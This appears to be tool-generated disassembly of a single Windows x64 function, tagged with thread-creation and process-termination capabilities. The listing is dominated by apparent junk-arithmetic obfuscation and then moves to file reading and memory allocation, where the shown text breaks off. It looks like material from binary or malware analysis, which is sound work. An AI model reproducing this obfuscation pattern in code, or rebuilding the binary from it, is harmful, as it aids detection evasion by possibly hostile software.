Function at 0x140005550
Capabilities:
Create thread
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x158
xor eax, eax
test eax, eax
je 0x140005576
call fcn.140006990
mov byte [rsp + 0x33], 0x31
mov dword [rsp + 0x3c], 0x32
mov dword [rsp + 0x34], 0xd3
mov dword [rsp + 0x44], 0x47
mov byte [rsp + 0x30], 0xbb
mov byte [rsp + 0x31], 0x45
mov dword [rsp + 0x38], 0xd5
mov dword [rsp + 0x40], 0xbd
mov byte [rsp + 0x32], 0xc9
mov dword [rsp + 0x50], 0xfffffe92
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x128], eax
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x128], 0
je 0x14000575e
movsx eax, byte [0x14007d22f]
movsx ecx, byte [rsp + 0x30]
cmp eax, ecx
je 0x1400055ff
movzx eax, byte [rsp + 0x32]
test eax, eax
jne 0x1400055ff
cmp dword [0x14007d250], 0
je 0x140005671
movsx eax, byte [0x14007d21c]
movzx ecx, byte [rsp + 0x32]
sub ecx, dword [rsp + 0x38]
mov edx, dword [rsp + 0x40]
shl edx, cl
mov ecx, edx
xor eax, ecx
mov ecx, dword [0x14007d23c]
and ecx, eax
mov eax, ecx
mov dword [0x14007d23c], eax
cmp dword [rsp + 0x34], 0
jne 0x14000564a
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x40]
xor ecx, eax
mov eax, ecx
test eax, eax
jne 0x14000564a
mov dword [rsp + 0x58], 0
jmp 0x140005652
mov dword [rsp + 0x58], 1
mov eax, dword [rsp + 0x58]
movzx ecx, al
mov eax, dword [0x14007d228]
shr eax, cl
mov ecx, dword [0x14007d214]
add ecx, eax
mov eax, ecx
mov dword [0x14007d214], eax
movsx eax, byte [0x14007d21d]
test eax, eax
jne 0x14000568f
movsx eax, byte [rsp + 0x30]
test eax, eax
jne 0x14000568f
mov dword [rsp + 0x5c], 0
jmp 0x140005697
mov dword [rsp + 0x5c], 1
mov eax, dword [rsp + 0x5c]
mov ecx, dword [0x14007d220]
xor ecx, eax
mov eax, ecx
mov dword [0x14007d220], eax
movsx eax, byte [0x14007d22f]
movsx ecx, byte [rsp + 0x30]
mov dword [rsp + 0x108], ecx
movsx edx, byte [rsp + 0x31]
mov r8d, dword [rsp + 0x38]
movzx ecx, r8b
shl edx, cl
mov ecx, edx
mov edx, dword [rsp + 0x108]
xor edx, ecx
mov ecx, edx
or eax, ecx
mov ecx, dword [0x14007d224]
or ecx, eax
mov eax, ecx
mov dword [0x14007d224], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [0x14007d1fc]
add ecx, eax
mov eax, ecx
test eax, eax
je 0x140005710
cmp dword [rsp + 0x40], 0
je 0x140005710
mov dword [rsp + 0x60], 1
jmp 0x140005718
mov dword [rsp + 0x60], 0
movsx eax, byte [0x14007d21c]
and eax, dword [rsp + 0x60]
mov byte [0x14007d21c], al
mov eax, dword [rsp + 0x3c]
movzx ecx, al
mov eax, dword [rsp + 0x44]
shr eax, cl
movsx ecx, byte [rsp + 0x31]
or eax, ecx
movzx ecx, al
mov eax, dword [0x14007d238]
sar eax, cl
movsx ecx, byte [0x14007d201]
and ecx, eax
mov eax, ecx
mov byte [0x14007d201], al
jmp 0x1400055ba
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov eax, ecx
movzx ecx, al
mov eax, dword [0x14007d23c]
shl eax, cl
movsx ecx, byte [rsp + 0x31]
sub ecx, dword [0x14007d244]
and eax, ecx
movzx ecx, byte [0x14007d21f]
sub ecx, eax
mov eax, ecx
mov byte [0x14007d21f], al
movzx eax, byte [0x14007d22c]
imul eax, dword [rsp + 0x44]
xor edx, edx
mov ecx, 5
div ecx
mov eax, edx
mov dword [rsp + 0x38], eax
movsx eax, byte [0x14007d22e]
test eax, eax
jne 0x1400057ca
cmp dword [rsp + 0x44], 0
jne 0x1400057ca
mov dword [rsp + 0x64], 0
jmp 0x1400057d2
mov dword [rsp + 0x64], 1
mov eax, dword [rsp + 0x64]
mov ecx, dword [0x14007d24c]
or ecx, eax
mov eax, ecx
mov dword [0x14007d24c], eax
xor edx, edx
mov eax, dword [rsp + 0x3c]
mov ecx, 4
div ecx
mov ecx, dword [0x14007d240]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
movsx eax, byte [0x14007d22e]
sub eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
shl eax, cl
movzx ecx, byte [rsp + 0x32]
xor eax, ecx
test eax, eax
jne 0x140005832
movsx eax, byte [0x14007d21d]
test eax, eax
jne 0x140005832
mov dword [rsp + 0x68], 0
jmp 0x14000583a
mov dword [rsp + 0x68], 1
mov eax, dword [rsp + 0x68]
mov ecx, dword [0x14007d238]
xor ecx, eax
mov eax, ecx
mov dword [0x14007d238], eax
movsx eax, byte [0x14007d22d]
movsx ecx, byte [rsp + 0x33]
mov dword [rsp + 0x10c], ecx
mov edx, dword [rsp + 0x34]
movzx ecx, dl
mov edx, dword [rsp + 0x10c]
shl edx, cl
mov ecx, edx
or eax, ecx
test eax, eax
jne 0x140005890
movsx eax, byte [rsp + 0x31]
cmp eax, dword [0x14007d258]
je 0x140005890
mov dword [rsp + 0x6c], 0
jmp 0x140005898
mov dword [rsp + 0x6c], 1
mov eax, dword [rsp + 0x6c]
mov ecx, dword [0x14007d208]
or ecx, eax
mov eax, ecx
mov dword [0x14007d208], eax
movzx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x31]
add eax, ecx
test eax, eax
je 0x1400058cf
movsx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400058cf
mov dword [rsp + 0x70], 1
jmp 0x1400058d7
mov dword [rsp + 0x70], 0
mov eax, dword [rsp + 0x70]
mov ecx, dword [0x14007d234]
add ecx, eax
mov eax, ecx
mov dword [0x14007d224], eax
mov eax, dword [0x14007d218]
imul eax, dword [rsp + 0x3c]
xor edx, edx
mov ecx, 5
div ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x38], eax
jae 0x140005917
mov dword [rsp + 0x74], 1
jmp 0x14000591f
mov dword [rsp + 0x74], 0
movzx eax, byte [0x14007d21f]
cmp dword [rsp + 0x74], eax
jle 0x140005a6f
movsx eax, byte [rsp + 0x31]
mov ecx, dword [0x14007d210]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3c]
shl eax, cl
mov byte [0x14007d21e], al
movsx eax, byte [rsp + 0x33]
mov ecx, dword [0x14007d244]
imul ecx, eax
mov eax, ecx
xor edx, edx
mov ecx, 4
div ecx
mov byte [rsp + 0x31], al
cmp dword [0x14007d230], 0
jne 0x14000597f
cmp dword [rsp + 0x34], 0
jne 0x14000597f
mov byte [rsp + 0x48], 0
jmp 0x140005984
mov byte [rsp + 0x48], 1
movzx eax, byte [rsp + 0x48]
mov byte [0x14007d22d], al
movsx eax, byte [rsp + 0x30]
cmp eax, dword [rsp + 0x38]
jne 0x1400059a4
mov dword [rsp + 0x78], 1
jmp 0x1400059ac
mov dword [rsp + 0x78], 0
movsx eax, byte [0x14007d21c]
or eax, dword [rsp + 0x78]
mov byte [0x14007d21e], al
movsx eax, byte [0x14007d201]
xor eax, dword [rsp + 0x44]
movsx ecx, byte [rsp + 0x30]
add ecx, dword [0x14007d254]
mov edx, dword [rsp + 0x38]
and edx, ecx
mov ecx, edx
xor eax, ecx
mov byte [0x14007d21e], al
mov eax, dword [rsp + 0x34]
mov ecx, dword [0x14007d1fc]
add ecx, eax
mov eax, ecx
test eax, eax
jne 0x140005a1a
movzx eax, byte [rsp + 0x32]
movzx ecx, al
mov eax, dword [rsp + 0x38]
sar eax, cl
test eax, eax
jne 0x140005a1a
cmp dword [0x14007d210], 0
jne 0x140005a1a
mov dword [rsp + 0x7c], 0
jmp 0x140005a22
mov dword [rsp + 0x7c], 1
mov eax, dword [rsp + 0x7c]
mov ecx, dword [0x14007d24c]
xor ecx, eax
mov eax, ecx
mov dword [0x14007d24c], eax
movzx eax, byte [rsp + 0x32]
sub eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x40]
shl eax, cl
mov ecx, dword [0x14007d224]
add ecx, eax
mov eax, ecx
mov byte [0x14007d22d], al
mov eax, dword [0x14007d258]
imul eax, dword [rsp + 0x38]
xor edx, edx
mov ecx, 5
div ecx
mov eax, edx
mov byte [rsp + 0x32], al
movsx eax, byte [rsp + 0x30]
cmp dword [0x14007d240], eax
jne 0x140005a89
mov dword [rsp + 0x84], 1
jmp 0x140005a94
mov dword [rsp + 0x84], 0
movsx eax, byte [0x14007d22e]
cmp dword [rsp + 0x3c], eax
jbe 0x140005aae
mov dword [rsp + 0x80], 1
jmp 0x140005ab9
mov dword [rsp + 0x80], 0
mov eax, dword [rsp + 0x80]
cmp dword [rsp + 0x84], eax
jne 0x140005af6
movsx eax, byte [rsp + 0x33]
test eax, eax
je 0x140005af6
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
movsx ecx, byte [rsp + 0x31]
sub eax, ecx
movzx ecx, al
mov eax, dword [0x14007d24c]
shl eax, cl
mov dword [0x14007d24c], eax
movzx eax, byte [rsp + 0x32]
sub eax, dword [rsp + 0x38]
test eax, eax
je 0x140005b17
cmp dword [rsp + 0x38], 0
je 0x140005b17
mov dword [rsp + 0x88], 1
jmp 0x140005b22
mov dword [rsp + 0x88], 0
mov eax, dword [rsp + 0x88]
movzx ecx, al
mov eax, dword [0x14007d230]
shl eax, cl
movsx ecx, byte [0x14007d201]
and ecx, eax
mov eax, ecx
mov byte [0x14007d201], al
movsx eax, byte [rsp + 0x31]
mov ecx, dword [0x14007d20c]
imul ecx, eax
mov eax, ecx
xor edx, edx
mov ecx, 3
div ecx
mov eax, edx
mov dword [rsp + 0x3c], eax
movzx eax, byte [rsp + 0x32]
movzx ecx, al
mov eax, dword [0x14007d204]
shl eax, cl
mov ecx, dword [0x14007d1fc]
sub ecx, eax
mov eax, ecx
mov dword [0x14007d1fc], eax
movzx eax, byte [rsp + 0x32]
mov ecx, dword [0x14007d234]
imul ecx, eax
mov eax, ecx
cdq
mov ecx, 5
idiv ecx
mov byte [rsp + 0x33], al
mov eax, dword [0x14007d220]
imul eax, dword [rsp + 0x34]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
mov dword [rsp + 0x44], eax
movsx eax, byte [rsp + 0x31]
mov ecx, dword [0x14007d220]
imul ecx, eax
mov eax, ecx
cdq
mov ecx, 5
idiv ecx
mov eax, edx
mov dword [rsp + 0x3c], eax
movsx eax, byte [rsp + 0x31]
cdq
mov ecx, 3
idiv ecx
mov ecx, dword [0x14007d204]
add ecx, eax
mov eax, ecx
mov byte [rsp + 0x31], al
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x38], eax
jle 0x140005e9b
cmp dword [0x14007d228], 0
je 0x140005e9b
movzx eax, byte [rsp + 0x32]
cmp dword [0x14007d24c], eax
jne 0x140005c28
mov dword [rsp + 0x8c], 1
jmp 0x140005c33
mov dword [rsp + 0x8c], 0
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x8c], eax
jne 0x140005c4d
mov dword [rsp + 0x90], 1
jmp 0x140005c58
mov dword [rsp + 0x90], 0
mov eax, dword [rsp + 0x90]
mov ecx, dword [0x14007d248]
and ecx, eax
mov eax, ecx
mov dword [0x14007d248], eax
mov eax, dword [0x14007d240]
imul eax, dword [rsp + 0x38]
xor edx, edx
mov ecx, 4
div ecx
mov eax, edx
mov byte [rsp + 0x33], al
movsx eax, byte [0x14007d203]
movsx ecx, byte [rsp + 0x31]
add ecx, dword [rsp + 0x44]
sar eax, cl
movzx ecx, byte [rsp + 0x32]
add ecx, dword [0x14007d214]
and eax, ecx
movzx ecx, byte [0x14007d21e]
add ecx, eax
mov eax, ecx
mov byte [0x14007d21e], al
mov eax, dword [0x14007d24c]
imul eax, dword [rsp + 0x38]
xor edx, edx
mov ecx, 4
div ecx
mov eax, edx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x3c]
movzx ecx, al
mov eax, dword [rsp + 0x3c]
shl eax, cl
mov ecx, dword [0x14007d240]
xor ecx, eax
mov eax, ecx
test eax, eax
jne 0x140005d0e
movzx eax, byte [0x14007d22c]
mov ecx, dword [rsp + 0x44]
and ecx, eax
mov eax, ecx
test eax, eax
jne 0x140005d0e
mov dword [rsp + 0x94], 0
jmp 0x140005d19
mov dword [rsp + 0x94], 1
mov eax, dword [rsp + 0x94]
mov ecx, dword [0x14007d204]
or ecx, eax
mov eax, ecx
mov dword [0x14007d204], eax
movsx eax, byte [rsp + 0x31]
mov ecx, dword [0x14007d244]
sub ecx, eax
mov eax, ecx
movsx ecx, byte [rsp + 0x30]
shr eax, cl
movsx ecx, byte [rsp + 0x33]
sub ecx, dword [0x14007d230]
or eax, ecx
mov ecx, dword [0x14007d230]
and ecx, eax
mov eax, ecx
mov dword [0x14007d230], eax
cmp dword [0x14007d230], 0
jne 0x140005d8a
movsx eax, byte [rsp + 0x33]
mov ecx, dword [rsp + 0x3c]
and ecx, eax
mov eax, ecx
test eax, eax
jne 0x140005d8a
mov dword [rsp + 0x98], 0
jmp 0x140005d95
mov dword [rsp + 0x98], 1
mov eax, dword [rsp + 0x98]
mov ecx, dword [0x14007d214]
or ecx, eax
mov eax, ecx
mov dword [0x14007d214], eax
movsx eax, byte [0x14007d201]
mov ecx, dword [rsp + 0x3c]
sar eax, cl
test eax, eax
jne 0x140005dd1
cmp dword [rsp + 0x34], 0
jne 0x140005dd1
mov dword [rsp + 0x9c], 0
jmp 0x140005ddc
mov dword [rsp + 0x9c], 1
movsx eax, byte [0x14007d203]
add eax, dword [rsp + 0x9c]
mov byte [0x14007d203], al
movsx eax, byte [0x14007d203]
mov ecx, dword [rsp + 0x38]
mov edx, dword [rsp + 0x38]
sub edx, ecx
mov ecx, edx
mov dword [rsp + 0x110], ecx
mov edx, dword [rsp + 0x34]
movzx ecx, dl
mov edx, dword [rsp + 0x110]
shl edx, cl
mov ecx, edx
sub eax, ecx
mov ecx, dword [0x14007d240]
xor ecx, eax
mov eax, ecx
mov dword [0x14007d240], eax
cmp dword [0x14007d238], 0
je 0x140005e63
movsx eax, byte [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
shl eax, cl
movsx ecx, byte [rsp + 0x30]
and eax, ecx
movsx ecx, byte [0x14007d21c]
or eax, ecx
test eax, eax
je 0x140005e63
mov dword [rsp + 0xa0], 1
jmp 0x140005e6e
mov dword [rsp + 0xa0], 0
mov eax, dword [rsp + 0xa0]
mov dword [0x14007d23c], eax
movsx eax, byte [rsp + 0x31]
mov ecx, dword [0x14007d210]
xor ecx, eax
mov eax, ecx
movsx ecx, byte [0x14007d200]
or ecx, eax
mov eax, ecx
mov byte [0x14007d200], al
mov dword [rsp + 0x54], 0xffffff57
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x114], eax
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x114], 0
je 0x140005fed
movsx eax, byte [rsp + 0x30]
movzx ecx, al
mov eax, dword [rsp + 0x38]
sar eax, cl
mov ecx, dword [0x14007d220]
or ecx, eax
mov eax, ecx
movsx ecx, byte [0x14007d22d]
sub ecx, eax
mov eax, ecx
mov byte [0x14007d22d], al
movsx eax, byte [rsp + 0x30]
test eax, eax
jne 0x140005f16
movsx eax, byte [rsp + 0x33]
mov ecx, dword [rsp + 0x38]
xor ecx, eax
mov eax, ecx
test eax, eax
jne 0x140005f16
mov dword [rsp + 0xa4], 0
jmp 0x140005f21
mov dword [rsp + 0xa4], 1
movzx eax, byte [0x14007d22c]
xor eax, dword [rsp + 0xa4]
movzx ecx, byte [0x14007d21f]
or ecx, eax
mov eax, ecx
mov byte [0x14007d21f], al
cmp dword [rsp + 0x44], 0
je 0x140005f65
mov eax, dword [rsp + 0x40]
movzx ecx, al
mov eax, dword [rsp + 0x34]
sar eax, cl
test eax, eax
je 0x140005f65
mov dword [rsp + 0xa8], 1
jmp 0x140005f70
mov dword [rsp + 0xa8], 0
mov eax, dword [rsp + 0xa8]
mov ecx, dword [0x14007d240]
xor ecx, eax
mov eax, ecx
mov ecx, dword [0x14007d254]
or ecx, eax
mov eax, ecx
mov dword [0x14007d254], eax
movsx eax, byte [rsp + 0x31]
mov ecx, dword [0x14007d240]
sub ecx, eax
mov eax, ecx
movsx ecx, byte [rsp + 0x31]
shr eax, cl
mov byte [0x14007d21e], al
movsx eax, byte [0x14007d201]
movsx ecx, byte [rsp + 0x31]
mov dword [rsp + 0x118], ecx
mov edx, dword [rsp + 0x34]
movzx ecx, dl
mov edx, dword [rsp + 0x118]
shl edx, cl
mov ecx, edx
xor ecx, dword [rsp + 0x38]
add eax, ecx
mov ecx, dword [0x14007d248]
or ecx, eax
mov eax, ecx
mov dword [0x14007d248], eax
jmp 0x140005ea3
mov eax, 0xffffff21
mov word [rsp + 0x4c], ax
movsx eax, word [rsp + 0x4c]
mov dword [rsp + 0x11c], eax
movzx eax, word [rsp + 0x4c]
inc ax
mov word [rsp + 0x4c], ax
cmp dword [rsp + 0x11c], 0
je 0x140006280
movsx eax, byte [rsp + 0x31]
cmp dword [rsp + 0x40], eax
je 0x1400061db
movsx eax, byte [0x14007d203]
test eax, eax
jne 0x14000604c
cmp dword [rsp + 0x38], 0
jne 0x14000604c
mov dword [rsp + 0xac], 0
jmp 0x140006057
mov dword [rsp + 0xac], 1
movsx eax, byte [0x14007d21c]
or eax, dword [rsp + 0xac]
mov byte [0x14007d21c], al
movsx eax, byte [rsp + 0x30]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
mov ecx, dword [0x14007d20c]
add ecx, eax
mov eax, ecx
mov byte [rsp + 0x30], al
cmp dword [0x14007d250], 0
je 0x1400060b6
cmp dword [rsp + 0x34], 0
je 0x1400060b6
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x30]
xor eax, ecx
test eax, eax
je 0x1400060b6
mov dword [rsp + 0xb0], 1
jmp 0x1400060c1
mov dword [rsp + 0xb0], 0
mov eax, dword [rsp + 0xb0]
mov ecx, dword [0x14007d1fc]
add ecx, eax
mov eax, ecx
mov dword [0x14007d1fc], eax
cmp dword [0x14007d208], 0
jne 0x140006106
movsx eax, byte [rsp + 0x33]
mov ecx, dword [rsp + 0x34]
and ecx, eax
mov eax, ecx
test eax, eax
je 0x1400060f9
cmp dword [rsp + 0x38], 0
jne 0x140006106
mov dword [rsp + 0xb4], 0
jmp 0x140006111
mov dword [rsp + 0xb4], 1
mov eax, dword [rsp + 0xb4]
mov ecx, dword [0x14007d23c]
or ecx, eax
mov eax, ecx
mov dword [0x14007d23c], eax
cmp dword [0x14007d208], 0
jne 0x14000617b
mov eax, dword [rsp + 0x38]
movzx ecx, al
mov eax, dword [rsp + 0x34]
sar eax, cl
cmp eax, dword [0x14007d23c]
jne 0x140006153
mov dword [rsp + 0xb8], 1
jmp 0x14000615e
mov dword [rsp + 0xb8], 0
movsx eax, byte [rsp + 0x31]
or eax, dword [rsp + 0xb8]
test eax, eax
jne 0x14000617b
mov dword [rsp + 0xbc], 0
jmp 0x140006186
mov dword [rsp + 0xbc], 1
movsx eax, byte [0x14007d25c]
sub eax, dword [rsp + 0xbc]
mov byte [0x14007d25c], al
cmp dword [0x14007d204], 0
je 0x1400061b9
movsx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400061b9
mov dword [rsp + 0xc0], 1
jmp 0x1400061c4
mov dword [rsp + 0xc0], 0
mov eax, dword [rsp + 0xc0]
mov ecx, dword [0x14007d238]
sub ecx, eax
mov eax, ecx
mov dword [0x14007d238], eax
movzx eax, byte [rsp + 0x32]
and eax, dword [rsp + 0x34]
test eax, eax
je 0x1400061fc
cmp dword [rsp + 0x34], 0
je 0x1400061fc
mov dword [rsp + 0xc4], 1
jmp 0x140006207
mov dword [rsp + 0xc4], 0
movsx eax, byte [0x14007d25c]
or eax, dword [rsp + 0xc4]
mov ecx, dword [0x14007d1fc]
add ecx, eax
mov eax, ecx
mov dword [0x14007d1fc], eax
mov eax, dword [0x14007d258]
imul eax, dword [rsp + 0x3c]
xor edx, edx
mov ecx, 5
div ecx
mov dword [rsp + 0x3c], eax
movzx eax, byte [0x14007d21e]
test eax, eax
je 0x14000625c
cmp dword [rsp + 0x34], 0
je 0x14000625c
mov dword [rsp + 0xc8], 1
jmp 0x140006267
mov dword [rsp + 0xc8], 0
movzx eax, byte [0x14007d22c]
and eax, dword [rsp + 0xc8]
mov byte [0x14007d22c], al
jmp 0x140005ff7
mov eax, dword [rsp + 0x40]
cmp dword [0x14007d220], eax
ja 0x14000629e
movsx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400062ff
cmp dword [0x14007d228], 0
je 0x1400062ff
movsx eax, byte [0x14007d22e]
xor eax, dword [rsp + 0x40]
xor eax, dword [rsp + 0x3c]
mov dword [0x14007d238], eax
movsx eax, byte [0x14007d22e]
mov dword [rsp + 0x120], eax
xor edx, edx
mov eax, dword [rsp + 0x44]
mov ecx, 5
div ecx
mov eax, edx
mov ecx, dword [rsp + 0x120]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
movsx eax, byte [rsp + 0x30]
movzx ecx, al
mov eax, dword [0x14007d1fc]
shr eax, cl
mov ecx, dword [0x14007d220]
or ecx, eax
mov eax, ecx
mov dword [0x14007d220], eax
mov eax, dword [rsp + 0x38]
movzx ecx, al
mov eax, dword [rsp + 0x3c]
shl eax, cl
cmp dword [0x14007d230], eax
jne 0x140006321
mov dword [rsp + 0xcc], 1
jmp 0x14000632c
mov dword [rsp + 0xcc], 0
mov eax, dword [0x14007d20c]
mov ecx, dword [rsp + 0x3c]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xcc]
xor ecx, eax
mov eax, ecx
mov dword [0x14007d228], eax
movsx eax, byte [0x14007d21d]
imul eax, dword [rsp + 0x38]
cdq
mov ecx, 3
idiv ecx
mov byte [rsp + 0x33], al
movsx eax, byte [rsp + 0x33]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
mov ecx, dword [0x14007d220]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
cmp dword [0x14007d24c], 0
jne 0x1400063a2
movzx eax, byte [rsp + 0x32]
cmp eax, dword [rsp + 0x44]
je 0x1400063a2
mov dword [rsp + 0xd0], 0
jmp 0x1400063ad
mov dword [rsp + 0xd0], 1
movsx eax, byte [0x14007d21c]
sub eax, dword [rsp + 0xd0]
mov byte [0x14007d21c], al
movzx eax, byte [0x14007d21f]
movsx ecx, byte [rsp + 0x30]
imul eax, ecx
cdq
mov ecx, 5
idiv ecx
mov eax, edx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [0x14007d228]
add ecx, eax
mov eax, ecx
movsx ecx, byte [0x14007d21c]
and ecx, eax
mov eax, ecx
mov byte [0x14007d21c], al
movzx eax, byte [0x14007d202]
test eax, eax
je 0x14000642c
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x31]
cmp eax, ecx
jne 0x14000642c
movsx eax, byte [rsp + 0x30]
test eax, eax
je 0x14000642c
mov dword [rsp + 0xd4], 1
jmp 0x140006437
mov dword [rsp + 0xd4], 0
mov eax, dword [rsp + 0xd4]
mov ecx, dword [0x14007d24c]
sub ecx, eax
mov eax, ecx
mov dword [0x14007d24c], eax
movzx eax, byte [rsp + 0x32]
add eax, dword [rsp + 0x44]
movzx ecx, al
mov eax, dword [0x14007d220]
shl eax, cl
mov dword [0x14007d224], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x40], eax
je 0x14000647b
cmp dword [0x14007d240], 0
je 0x1400064ce
movsx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400064a1
cmp dword [rsp + 0x34], 0
je 0x1400064a1
movsx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400064a1
mov dword [rsp + 0xd8], 1
jmp 0x1400064ac
mov dword [rsp + 0xd8], 0
mov eax, dword [rsp + 0xd8]
mov ecx, dword [0x14007d214]
xor ecx, eax
mov eax, ecx
movsx ecx, byte [0x14007d22f]
and ecx, eax
mov eax, ecx
mov byte [0x14007d22f], al
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
cmp dword [0x14007d230], eax
jne 0x1400064ef
mov dword [rsp + 0xdc], 1
jmp 0x1400064fa
mov dword [rsp + 0xdc], 0
movsx eax, byte [0x14007d21c]
or eax, dword [rsp + 0xdc]
mov byte [0x14007d21c], al
movsx eax, byte [0x14007d21d]
test eax, eax
jne 0x140006536
movsx eax, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x32]
or eax, ecx
test eax, eax
jne 0x140006536
mov dword [rsp + 0xe0], 0
jmp 0x140006541
mov dword [rsp + 0xe0], 1
mov eax, dword [rsp + 0xe0]
mov ecx, dword [0x14007d254]
add ecx, eax
mov eax, ecx
mov dword [0x14007d254], eax
xor edx, edx
mov eax, dword [rsp + 0x44]
mov ecx, 4
div ecx
mov ecx, dword [0x14007d20c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
movsx eax, byte [0x14007d21c]
cmp eax, dword [rsp + 0x40]
jne 0x1400065a6
movsx eax, byte [rsp + 0x31]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x14007d244]
sar eax, cl
test eax, eax
je 0x1400065a6
mov dword [rsp + 0xe4], 1
jmp 0x1400065b1
mov dword [rsp + 0xe4], 0
mov eax, dword [rsp + 0xe4]
mov dword [0x14007d234], eax
movsx eax, byte [0x14007d22f]
test eax, eax
je 0x1400065e6
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x34]
or ecx, eax
mov eax, ecx
test eax, eax
je 0x1400065e6
mov dword [rsp + 0xe8], 1
jmp 0x1400065f1
mov dword [rsp + 0xe8], 0
mov eax, dword [rsp + 0xe8]
mov ecx, dword [0x14007d240]
or ecx, eax
mov eax, ecx
mov dword [0x14007d240], eax
cmp dword [0x14007d218], 0
je 0x14000663e
movsx eax, byte [rsp + 0x33]
mov ecx, dword [rsp + 0x3c]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x14007d21f]
mov edx, dword [rsp + 0x40]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14000663e
mov dword [rsp + 0xec], 1
jmp 0x140006649
mov dword [rsp + 0xec], 0
mov eax, dword [rsp + 0xec]
mov ecx, dword [0x14007d214]
sub ecx, eax
mov eax, ecx
mov dword [0x14007d214], eax
cmp dword [0x14007d214], 0
jne 0x14000667f
movsx eax, byte [rsp + 0x33]
test eax, eax
jne 0x14000667f
mov dword [rsp + 0xf0], 0
jmp 0x14000668a
mov dword [rsp + 0xf0], 1
movzx eax, byte [0x14007d21e]
xor eax, dword [rsp + 0xf0]
mov byte [0x14007d21e], al
movsx eax, byte [rsp + 0x33]
movsx ecx, byte [rsp + 0x30]
cmp eax, ecx
jne 0x1400066b9
mov dword [rsp + 0xf4], 1
jmp 0x1400066c4
mov dword [rsp + 0xf4], 0
mov eax, dword [rsp + 0xf4]
mov ecx, dword [0x14007d250]
or ecx, eax
mov eax, ecx
mov dword [0x14007d234], eax
mov eax, dword [rsp + 0x34]
mov ecx, dword [0x14007d224]
and ecx, eax
mov eax, ecx
mov ecx, dword [0x14007d214]
or ecx, eax
mov eax, ecx
mov dword [0x14007d214], eax
movsx eax, byte [0x14007d201]
mov ecx, dword [rsp + 0x44]
shl eax, cl
mov ecx, dword [rsp + 0x44]
shl eax, cl
test eax, eax
jne 0x140006729
mov eax, dword [0x14007d210]
cmp dword [rsp + 0x38], eax
je 0x140006729
mov dword [rsp + 0xf8], 0
jmp 0x140006734
mov dword [rsp + 0xf8], 1
mov eax, dword [rsp + 0xf8]
mov ecx, dword [0x14007d234]
sub ecx, eax
mov eax, ecx
mov dword [0x14007d234], eax
movsx eax, byte [0x14007d25c]
mov edx, dword [0x14007d230]
mov ecx, eax
call fcn.140006a30
call qword [sym.imp.KERNEL32.dll_GetACP]
test eax, eax
je 0x14000696a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 1
jbe 0x14000696a
mov rcx, qword [rsp + 0x170]
call fcn.140066568
cmp rax, 5
jbe 0x140006924
lea rdx, str..ocx
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jbe 0x140006924
call fcn.140060620
lea rdx, str.r_ccsUNICODE
mov rcx, qword [rsp + 0x170]
call fcn.140066a8c
mov qword [rsp + 0x138], rax
cmp qword [rsp + 0x138], 0
jne 0x1400067e4
xor eax, eax
jmp 0x140006979
mov edx, 0x3e8
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x100], rax
mov edx, 0x3e8
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x130], rax
mov r8, qword [rsp + 0x138]
mov edx, 0x3e8
mov rcx, qword [rsp + 0x100]
call fcn.1400669a0
test rax, rax
je 0x140006919
mov rcx, qword [rsp + 0x100]
call fcn.140066568
mov dword [rsp + 0x124], eax
mov r8d, 0x3e8
xor edx, edx
mov rcx, qword [rsp + 0x130]
call fcn.140065c00
mov eax, dword [rsp + 0x124]
lea rax, [rax + rax - 2]
mov r8, rax
mov rdx, qword [rsp + 0x100]
